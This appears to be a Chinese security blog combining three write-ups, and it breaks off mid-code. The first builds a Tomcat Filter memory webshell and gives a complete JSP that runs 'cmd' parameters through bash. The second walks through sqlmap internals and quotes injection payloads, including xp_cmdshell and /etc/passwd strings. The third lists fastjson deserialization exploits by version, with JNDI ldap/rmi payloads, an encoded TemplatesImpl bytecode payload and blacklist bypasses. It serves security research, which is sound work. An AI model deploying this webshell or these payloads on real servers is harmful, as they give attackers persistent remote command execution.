Filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。

一个 servlet 的 filter 大概长这样

import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter {

    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest, servletResponse);
    }
    public void destroy() {}
}

应用 Filter 的 web.xml

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>
  • 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
  • 每一次请求时都只调用方法doFilter()进行处理;
  • 停止服务器时调用destroy()方法,销毁实例。

现在的前提条件是我们能自由传一个 jsp,那么要做的就是怎样在这个 jsp 中写一个命令执行的 Filter 并把它插入到服务原本的 filter 中,这里的实现思路是模拟写一个 web.xml。

  • Filter 原理:


    在 filter 中打一个断点,跟一下函数调用栈,
    image-20220209153521968
    filterConfig 是从 filters 里挨个拿出来的,往前找 filters
    image-20220209154639766
    用到的是 filterChain 中的 filters,再确定一下这个 filterChain 如何被构建的
    image-20220209154835449
    跟进去,先用 getParent 拿到了 context(即当前访问的web程序)
    image-20220209155223906
    然后在 findFilterMaps 中拿到了映射关系
    image-20220209155513299
    循环遍历 FilterMap,如果找到一个映射和我们访问的 context 对应(这里是/demo),就会这个映射对应的 filter 初始化,加进 filters 中
    image-20220209160109874
    可见,filter 最开始是从 context 中拿到的,那下一步就是考虑怎么拿这个 context
    • 能直接获取 request 的时候,将 ServletContext 转为 StandardContext 从而获取 context
    • 从线程中获取StandardContext
    • 从MBean中获取
  • 将 ServletContext 转为 StandardContext:


    看一先 context 中与 filter 相关的东西:
    image-20220209185451385
    需要知道的几个区分:
    FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
    
    filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
    
    filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
    

    这里要用到 StandardContext 中的几个重要函数
    • StandardContext.addFilterDef()可以将 filterDef 加进 filterDefs 中
    • StandardContext.addFilterMapBefore()把 filtermap 添加到 FilterMaps 的第一个位置

    其中的参数可以通过反射修改。
    综上,就有了写 Filter 内存马的大致流程:
    1. 一个恶意 Filter
    2. 用 filterDef 封装它
    3. 把这个 filterDef 添加到 filterDefs 中(StandardContext.addFilterDef())
    4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中

    分段看一下代码,初始化,首先判断 filter 名字是否存在,不存在就注入
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    

    首先判断 filter 名字是否存在,不存在就注入
    if (filterConfigs.get(name) == null){
                // 创建恶意 Filter
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                        byte[] bytes = new byte[1024];
                        Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                        int len = process.getInputStream().read(bytes);
                        servletResponse.getWriter().write(new String(bytes,0,len));
                        process.destroy();
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
    
            };
    

    创建一个 FilterDef 并设置属性,相当于
        <filter>
            <filter-name>filterDemo</filter-name>
            <filter-class>filterDemo</filter-class>
        </filter>
    

    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    

    用 addFilterDef 将 filterDef 添加到 filterDefs 中
    standardContext.addFilterDef(filterDef);
    

    创建一个 filtermap,并设置对应的 urilpattern,相当于
        <filter-mapping>
            <filter-name>filterDemo</filter-name>
            <url-pattern>/demo</url-pattern>
        </filter-mapping>
    

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    // 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    

    创建 FilterConfig,传入 filterDef 和 standardCtf(拿到的 Context)
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    

    最后的马(来自木头师傅)
    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.util.Map" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
    
    <%
        final String name = "KpLi0rn";
        ServletContext servletContext = request.getSession().getServletContext();
    
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);
    
        if (filterConfigs.get(name) == null){
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
    
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                        byte[] bytes = new byte[1024];
                        Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                        int len = process.getInputStream().read(bytes);
                        servletResponse.getWriter().write(new String(bytes,0,len));
                        process.destroy();
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
    
            };
    
    
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);
    
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
            standardContext.addFilterMapBefore(filterMap);
    
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    
            filterConfigs.put(name,filterConfig);
            out.print("Inject Success !");
        }
    %>
    
  • 从线程中获取StandardContext(待补充)


    目的是找 Tomcat 中全局存储的 request 或 response
     

参考文献:

  • 启动流程



    看一下去掉一般不会遇见的 else 和 except 后的 main 函数大致流程

    try:
          dirtyPatches()
          # 修改环境变量,确保 sqlmap 在不同环境下都能正常使用
          resolveCrossReferences()
          # 修改原函数的指针
          checkEnvironment()
          # 检查环境(sqlmap 存放路径,版本,全局变量初始化)
          setPaths(modulePath())
          # 把 sqlmap 的路径信息存到变量 path 中
          banner()
        # 输出 sqlmao 启动时那个图形。。。
    
          args = cmdLineParser()
          # 解析传入的参数,部分参数赋值,解析后把所有的参数合并到 cmdLineOptions 中继续使用
          cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
          initOptions(cmdLineOptions)
          # 对几个全局变量进行初始化的操作
    
          init()
          # 对命令行中的部分参数进行处理,并为全局变量的部分参数赋实际值
          start()
    


    进入 start(),对参数进行特殊处理后会遍历 kb.targets 中的数据,队每一组数据进行注入测试

    image-20220213205807718

    然后连续调用两个函数分别初始化当前 target 的基本环境,并对传入的 url 进行解析

    initTargetEnv()
    parseTargetUrl()
    


    然后检查 url 中是否存在 data(get请求),用于确定 paramKey 的值

    image-20220213210536127

    这里有一步会判断当前扫描的 url 是否在已确认存在漏洞的列表中

    image-20220213211014164

    然后执行 setupTargetEnv 进一步设置环境,这里已经解析完参数了,再进到 _setRequestParams 中把从 GET/POST 请求中的参数转化为字典后封装到 conf.paramDict 与 conf.parameters中

    image-20220213211218509

    然后发起首次链接,并以此次请求的 response 作为原始信息与后续的 response 做比较

    image-20220213211459838

    接着进入 checkwaf,比较有趣的是这里参考了 nmap 的一个 checkwaf 的 payload,最后是生成了一个含大量危险特征值的字符串

    image-20220213211713708

    最后的一长串,checkwaf 的后半段会比较这个请求的 response 与初始值的相似度(<0.5)是认为有 waf

    randomInt() + AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
    


    当没有设置 --string--not-string--regexp 并且 BOOLEAN 在 --technique 中时调用 checkStability 函数进行页面的动态性检测

    image-20220213213835246

    然后设置 http 请求头, PLACE 中存放的就是之前参数解析出来的参数,后续会根据不同的 level 修改请求头

    image-20220213214632558

    接下来会根据 BOOLEAN 是否在 --technique 来判断是否需要调用 checkDynParam 函数进行参数的动态性检测,如果参数是静态的并设置了 --skip-static 就会跳过这个参数的检测。

    image-20220213215353294

    最后进行一个”启发性测试“,会通过搜集页面错误信息来在实际注入前尝试获取目标的部分信息以及测试其余漏洞是否有可能存在。

    image-20220213215832580

  • 关于动态检测



    sqlmap 即使不指定参数也能正常测试注入就依赖于这个函数(checkStability)。

    首先会重新发一个请求,直接判断这次的 response 和 第一次的 response ,如果完全相同则跳过,不同则会询问下一步操作

    image-20220213220640238

    一般这时就直接点 C 了,进入 checkDynamicContent 中,此函数首先会对 firstPage 与 secondPage 进行判空和判断是否超出了最大检测长度的前置步骤,随后会通过 difflib.SequenceMatcher 进行相似度比对(之后会在 while 循环中持续比对,直到相似度<0.98)

    image-20220213221611805

    然后用 findDynamicContent 进行具体的动态部分的查找,比较的还是 fistPage 和 secondPage,这里是把很长的 response 分块比较,通过 get_matching_blocks 函数获取两个字符串中相同的部分实现分块,在后续操作中提出动态的部分

    >>> list(s.get_matching_blocks())
    [Match(a=0, b=0, size=2), Match(a=3, b=2, size=2), Match(a=5, b=4, size=0)]
    


    image-20220213222501993

    随后 sqlmap 会将动态内容的前20个字符与动态内容的后20个字符存入 kb 中,后续在进行测试时会首先通过正则去除前缀与后缀之间的内容以确保后相似度检测的准确率。(但在 JSON 场景下,前缀和后缀可能<20)。

    参数的动态检测靠 checkDynParam 函数实现的

    创建了一个随机整数,在调用 queryPage 的时候换成参数值,然后对比 response 和原相应的相似度(0.98),进而判断这个参数是不是动态的。

    image-20220213231058290

    这里的重点就是 queryPage 函数,以及它的几个相关调用

    • ##### queryPage


    如果有 tamper,就用其修改 payload

    image-20220213233610746

    发请求部分

    image-20220213234128904

    在 comparison 中进行相似度对比

    image-20220213234246901

    • ##### comparison


    具体代码不贴了,大致流程就是先处理 --string--not-string--regexp 这些设置,再通过 removeDynamicContent 去除动态值,然后经过编码处理确保编码一致性,最后计算相似度。关于相似度的判断:

    当相似度大于0.98时认为页面与原页面相似
    当相似度小于0.02时认为页面与原页面不相似
    当相似度与临界值之差大于0.05时认为页面与原页面相似
    


    • ##### 启发性测试


    1. 生成一个包含特殊字符的 payload\"().,并发送(看看会不会报错
    2. wasLastResponseDBMSError 判断是否有与数据库有关的 ERROR(有的话就可能存在 sql)
    3. 判断 FORMAT_EXCEPTION_STRINGS 中的字符串是否包含在响应中(检测是否存在类型转换错误)
    4. 生成一个包含'"<>'的 payload并发送(测 xss)
    5. 通过 FI_ERROR_REGEX 这个正则匹配页面,如果匹配成功则认为可能存在 FI 相关的漏洞。


    上述步骤可以看作一个最简单的漏扫...

  • 注入部分



    看一下最核心的 checkSqlInjection 函数,处理流程:


    根据已知参数类型筛选 boundary


  • 启发式检测数据库类型 heuristicCheckDbms(如果之前没有检测出或者传入)

    image-20220215131126545


  • payload 预处理(UNION)


  • 过滤与排除不合适的测试用例


  • 对筛选出的边界进行遍历与 payload 整合


  • payload 渲染


  • 针对四种类型的注入分别进行 response 的响应和处理


  • 得出结果,返回结果




    • ##### payload部分:


    sqlmap 的 payload 构成, 其中 prefix、comment、suffix 都是闭合注入点的前后部分, test 是最后执行的语句.

    <prefix> <test> <comment> <suffix>
    


    其中 prefix 和 suffix 是通用的,与数据库类型和注入类型无关的,因此单独作为boundaries 保存。

    而 test 和 comment 需要具体分类,以 xml 的格式放在 payloads 文件夹下

    image-20220214002402752

    test 中标签的具体含义:

    <stype> 表示注入的类型。 
    <level> 测试的级别
    <risk> 对目标数据库的损坏程度
    <clause> 表明 <test> 对应的测试 Payload 适用于哪种类型的 SQL 语句
    <where> 放具体注入语句的位置
    <vector> payload大致什么样,并不是实际请求中的 payload
    <request> payload 的配置
        <payload> 实际测试使用的 Payload
        <comment> payload 中的 comment 部分
        <char> 只有 UNION 注入存在的字段
        <columns> 只有 UNION 注入存在的字段
        <response> 处理请求的方式
        <comparison> 针对布尔盲注的特有字段,表示对比和 request 中请求的结果。
        <grep> 针对报错型注入的特有字段,使用正则表达式去匹配结果。
        <time> 针对时间盲注
        <union> 处理 UNION •注入的办法。
        <details> 如果 response 标签中的检测结果成功了,可以推断出什么结论?
        <dbms> 数据库类型
        <dbms_version> 数据库版本
        <os> 系统版本
    


    • ##### 数据库类型检测


    其实数据库类型是在之前确定的,来源于用户设定或者自动检测,但如果没确定就通过 heuristicCheckDbms 实现。核心原理就是利用简单的布尔盲注构造一个 (SELECT “[RANDSTR]” [FROM_DUMMY_TABLE.get(dbms)] )=”[RANDSTR1]” 和 (SELECT ‘[RANDSTR]’ [FROM_DUMMY_TABLE.get(dbms)] )='[RANDSTR1]’ 这两个 Payload 的请求判断。其中

    FROM_DUMMY_TABLE = {
        DBMS.ORACLE: " FROM DUAL",
        DBMS.ACCESS: " FROM MSysAccessObjects",
        DBMS.FIREBIRD: " FROM RDB$DATABASE",
        DBMS.MAXDB: " FROM VERSIONS",
        DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
        DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
        DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
    }
    


    原理见后续布尔盲注检测。

    其实如果检测不出来还是可以硬跑的。。。

    • ##### 针对 boolean 盲注的检测


    随便找一个 payload:

    <test>
        <title>PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
        <request>
            <payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
        </request>
        <response>
            <comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>
    


    发送了两个请求,并对 response 进行比对,其中第一次请求为正请求(Positive),对应 request.payload 的语句,第二次为负请求(Negative),对应 response.comparison 中的语句。

    首先设置边界,比较负请求的 response 、原始页面和启发式页面之间是否存在差异,其中kb.matchRatio是原始页面和id=原始值+"),'.)(((,报错页面的相似度。

    image-20220214185341422

    发送正请求,结果必须是正请求与原始页面相同,与负请求不同,而且不能有 nullConnect 优化,就会进行负请求

    image-20220214185512992

    如果负请求结果与原始页面不同,如果此时 negativeLogic(由where标签设置,说明参数错误的时候与模板页面不同才有意义),就会构造一个错误的 payload 并发送,并检查结果;如果启发式页面检查成功(elif语句),则会重新设置边界。

    image-20220214190307687

    如果没有设置区分页面是否相同的选项,或相似度无法区分的时候,并不代表页面不相同,就会尝试提取长度 >10 的特征字符串作为特征,进而判断是否存在注入点。

    image-20220214193636710

    • ##### 针对 GREP 型(报错注入)


    test payload:

    <test>
        <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
        <request>
            <payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.7.8</dbms_version>
        </details>
    </test>
    


    sqlmap 会用正则匹配 response 的内容,如果成功提取了对应内容,就说明可以进行注入,这里的 response 内容包括


  • 页面内容

  • HTTP 错误页面

  • Headers 中的内容

  • 重定向信息


  • 针对 TIME 型注入



  • 思路就是检查响应延迟的实验是否符合 payload设定的延迟,但重点是如何设置具体的延迟时间。

    结论:正常请求 99% 的概率响应时间 <= 平均响应时间+7*标准差

    image-20220214210921434

    最后有一个 mysql 的 patch(MySQL’s SLEEP(X) lasts 0.05 seconds shorter on average)

    delta = threadData.lastQueryDuration - conf.timeSec
    if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):  # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average
        delta += 0.05
    return delta >= 0
    


    • ##### UNION 型注入


    核心逻辑在 uniontest 中的 _unionTestByCharBruteforce,其实在这个函数中就是实现了常规的 union 注入,要解决的难点就是列数的判断和输出点的确认。

    1. 使用 ORDER BY 查询,直接通过与模版页面的比较来获取列数。(二分法)
    2. 当 ORDER BY 失效的时候,使用多次 UNION SELECT 不同列数,获取多个 Ratio,通过区分 Ratio 来区分哪一个是正确的列数。


    image-20220214221434569

    如果成功找到了列数,下一步就是确认输出点,我们只需要将 UNION SELECT NULL, NULL, NULL, NULL, … 中的各种 NULL 依次替换,然后在结果中寻找被我们插入的随机的字符串,就可以定位到输出点的位置。

    image-20220214221730287

    调用 _unionPosition 进行查找

    image-20220214221853691

  • 参考文献



    • https://www.anquanke.com/post/id/262847
    • https://www.anquanke.com/post/id/160636#h3-2
    • https://www.anquanke.com/post/id/167408

感谢 lala 大佬的高质量文章

  • 三种反序列化接口:


    //序列化
    String text = JSON.toJSONString(obj); 
    //反序列化
    VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
    VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
    VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
    

    区别:
    parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
    
  • 关于 @type


    这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的 set,get 方法,其中:
    • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
    • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

    决定是否被调用的部分在 com.alibaba.fastjson.util.JavaBeanInfo#build函数处
    image-20220207223653380
    在 build 中遍历两遍 class 的所有方法,分别去找 set 和 get 开头特定的方法(代码写的真丑)
    image-20220207224419816
    set开头的方法要求:
    • 方法名长度大于4且以set开头,且第四个字母要是大写
    • 非静态方法
    • 返回类型为void或当前类
    • 参数个数为1个

    如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。
    get开头的方法要求:
    • 方法名长度大于等于4
    • 非静态方法
    • 以get开头且第4个字母为大写
    • 无传入参数
    • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

    那么接下来要做的就是利用要求之内的 setter 和 getter 方法执行命令了。
  • <=1.2.24 JNDI注入利用链 JdbcRowSetImpl


    三种反序列化接口都能用。
    payload:jdk < 1.8u191
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",   //调用com.sun.rowset.JdbcRowSetImpl函数中的
        "dataSourceName":"ldap://127.0.0.1:1389/Exploit",   // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
        "autoCommit":true // 再调用setAutoCommit函数,传入true
    }
    

    接口函数:(满足条件)
    public void setDataSourceName(String var1) throws SQLException
    public void setAutoCommit(boolean var1)throws SQLException
    
  • <=1.2.24 JDK1.7 的 TemplatesImpl 利用链


    基于 jdk1.7u21 的链,但无 1.7 具体版本限制
    限制条件:

    1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
      JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
    2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

    原因是 payload 的 TemplatesImpl 的一些属性必须是 private,服务端必须添加特性才回去从json中恢复private属性的数据。
    (实际上最后的 TemplatesImpl 是全 jdk1.7 通用的,fastjson 也就是用了最后这部分)
    payload:
    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
    
  • 1.2.25 版本修复


    1.2.24版本产生漏洞的原因:
    1. @type 会加载任意类,通过 setter,getter 等方法进行赋值,恢复出整个类。
    2. 由 setter,getter 等方法构造出一条链(结合 JNDI 或 TemplatesImpl)

    在新版本中加入了黑、白名单
    public Class checkAutoType(String typeName, Class expectClass) {
            if (typeName == null) {
                return null;
            }
    
            final String className = typeName.replace('$', '.');
    
            //一些固定类型的判断,此处不会对clazz进行赋值,此处省略
    
            if (!autoTypeSupport) {
                //进行黑名单匹配,匹配中,直接报错退出
                for (int i = 0; i < denyList.length; ++i) {
                    String deny = denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
                //对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
                for (int i = 0; i < acceptList.length; ++i) {
                    String accept = acceptList[i];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }
                        return clazz;
                    }
                }
            }
    
            //此处省略了当clazz不为null时的处理情况,与expectClass有关
            //但是我们这里输入固定是null,不执行此处代码
    
            //可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
            if (!autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
            //执行不到此处
            return clazz;
    }
    

    20200102094428-6a060516-2d01-1
    com.sun 无了,默认情况无法绕过。
  • 1.2.25-1.2.41绕过


    要求:服务端 AutoTypeSupport 设置为 true(关闭白名单)
    虽然关掉了白名单,但是注意到现在的执行逻辑是先加载,也就是会进入TypeUtils.loadClass(typeName, defaultClassLoader) 中,然后才检查黑名单,跟进去看看
    public static Class loadClass(String className, ClassLoader classLoader) {
            if (className == null || className.length() == 0) {
                return null;
            }
    
            Class clazz = mappings.get(className);
    
            if (clazz != null) {
                return clazz;
            }
    
            //特殊处理1!
            if (className.charAt(0) == '[') {
                Class componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            }
            //特殊处理2!
            if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            }
    

    特殊处理1没什么用,只有一个 [ 的会被当作数据加载,json直接报错。
    但特殊处理2,只要加上 L 开头 ; 结尾就能直接加载了,相当于绕过黑名单
    {"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
  • 1.2.42版本修复和绕过


    1. 明文黑名单换为黑名单 hash(github已经碰撞出来了,相当于没什么用了)
    2. 传入的类名删去开头的 L 和结尾的 ;(只删了一次,重复一下就行)

    {"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
  • 1.2.43 - 1.2.46 修复


    把 LL 开头的都给封了,JdbcRowSetImpl 和 TemplatesImpl 算是都无了。
    扩充 jar 包的同时,疯狂扩充黑名单。
  • 1.2.47 通杀


    看一下 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)
    public Class checkAutoType(String typeName, Class expectClass, int features) {
            //1.typeName为null的情况,略
    
            //2.typeName太长或太短的情况,略
    
            //3.替换typeName中$为.,略
    
            //4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
            //这里经过几版的修改,有点不一样了,但是绕不过,也略
    
            //5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
            //(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
            if (autoTypeSupport || expectClass != null) {
                long hash = h3;
                for (int i = 3; i < className.length(); ++i) {
                    hash ^= className.charAt(i);
                    hash *= PRIME;
                    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                    //要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
                    if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
    
            //6.从一个Mapping中获取这个类名的类,我们之后看
            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }
            //7.从反序列化器中获取这个类名的类,我们也之后看
            if (clazz == null) {
                clazz = deserializers.findClass(typeName);
            }
            //8.如果在6,7中找到了clazz,这里直接return出去,不继续了
            if (clazz != null) {
                if (expectClass != null
                        && clazz != java.util.HashMap.class
                        && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
               //无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
                return clazz;
            }
            // 9. 针对默认白名单开启情况的处理,这里
            if (!autoTypeSupport) {
                long hash = h3;
                for (int i = 3; i < className.length(); ++i) {
                    char c = className.charAt(i);
                    hash ^= c;
                    hash *= PRIME;
                    //碰到黑名单就死
                    if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                    //满足白名单可以活,但是白名单默认是空的
                    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                        if (clazz == null) {
                            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                        }
                        //针对expectCLass的特殊处理,没有expectCLass,不管
